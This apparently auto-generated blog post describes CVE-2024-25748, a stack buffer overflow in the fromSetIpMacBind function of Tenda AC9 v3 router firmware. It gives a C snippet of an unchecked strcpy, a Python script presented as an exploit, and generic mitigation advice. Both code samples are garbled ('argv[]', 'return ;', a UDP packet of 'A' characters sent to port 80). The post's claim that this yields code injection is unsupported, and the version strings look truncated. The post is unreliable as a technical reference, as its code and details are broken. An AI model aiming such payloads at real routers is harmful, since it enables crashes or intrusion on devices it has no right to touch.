The CVE-2024-25748 vulnerability refers to a serious stack-based buffer overflow security flaw identified in Tenda AC9 AC9 v3. routers. If exploited, this vulnerability could allow remote attackers to perform arbitrary code executions within the targeted systems, thus compromising their security. This post will discuss the specifics of this vulnerability, including its background, the affected devices, code snippets that demonstrate the vulnerability, and mitigation strategies.

Background

Tenda AC9 AC9 v3. is a popular wireless router device that's widely known for its high performance and advanced features. Unfortunately, researchers have discovered that the firmware V.15.03.06.42_multi, which powers the routers, contains a dangerous security flaw: a stack-based buffer overflow. This vulnerability is assigned the CVE ID "CVE-2024-25748," and if not promptly addressed, it can expose the affected systems to severe security threats.

Affected Device and Firmware

Device: Tenda AC9 AC9 v3.
Firmware: V.15.03.06.42_multi

Vulnerability Details

The CVE-2024-25748 vulnerability occurs within the fromSetIpMacBind function of the Tenda router's firmware. With this flaw, a remote attacker can overflow the stack buffer remotely by sending a specially crafted request over the network, potentially leading to arbitrary code execution or crashes.

Here's a simplified example to demonstrate this vulnerability

void vulnerable_function(char *input) {
  char buf[256];
  strcpy(buf, input); // No length check here, leading to buffer overflow
}

int main(int argc, char **argv) {
  if (argc != 2) {
    printf("Usage: %s <input>\n", argv[]);
    return 1;
  }

  vulnerable_function(argv[1]);

  return ;
}

As shown in the example, there is a call to strcpy() without a prior length check. This lack of input validation allows a malicious user to overflow the buffer, write additional data to the stack, and possibly execute arbitrary code.

To exploit this vulnerability, an attacker needs to craft a specially formatted packet containing malicious data. This could be achieved using the following Python script (the values in this script serve as an example and may need to be changed based on the targeted device):

from socket import *

buf = 'A' * 300  # Triggering the buffer overflow
packet = "\x00" + buf

ip = "192.168.x.x"  # Targeted device IP address
port = 80

print("Sending payload...")
s = socket(AF_INET, SOCK_DGRAM)
s.sendto(packet, (ip, port))
print("Payload sent")
s.close()

Once the attacker has executed this script, the target device's buffer would overflow, allowing them to inject arbitrary code.

References

1. Original Vulnerability Disclosure
2. CVE Details
3. Tenda Official Firmware Release

To mitigate the CVE-2024-25748 vulnerability, users are advised to implement the following actions

1. Update Firmware: The affected Tenda router users should update their device's firmware to the latest released version, which contains a patch for this vulnerability.
2. Input Validation: Developers should ensure that input validation is implemented for any application interacting with the router's configuration, including checking the length of input values before copying them into buffer memory.
3. Network Segmentation: Network administrators can isolate the affected routers within their networks to prevent unauthorized access from external sources.

In conclusion, the CVE-2024-25748 vulnerability poses a significant threat to Tenda AC9 AC9 v3. router users. Thus, it is crucially important to take the necessary steps to mitigate the risks associated with this vulnerability.

Timeline

Published on: 02/22/2024 23:15:07 UTC
Last modified on: 02/23/2024 02:42:54 UTC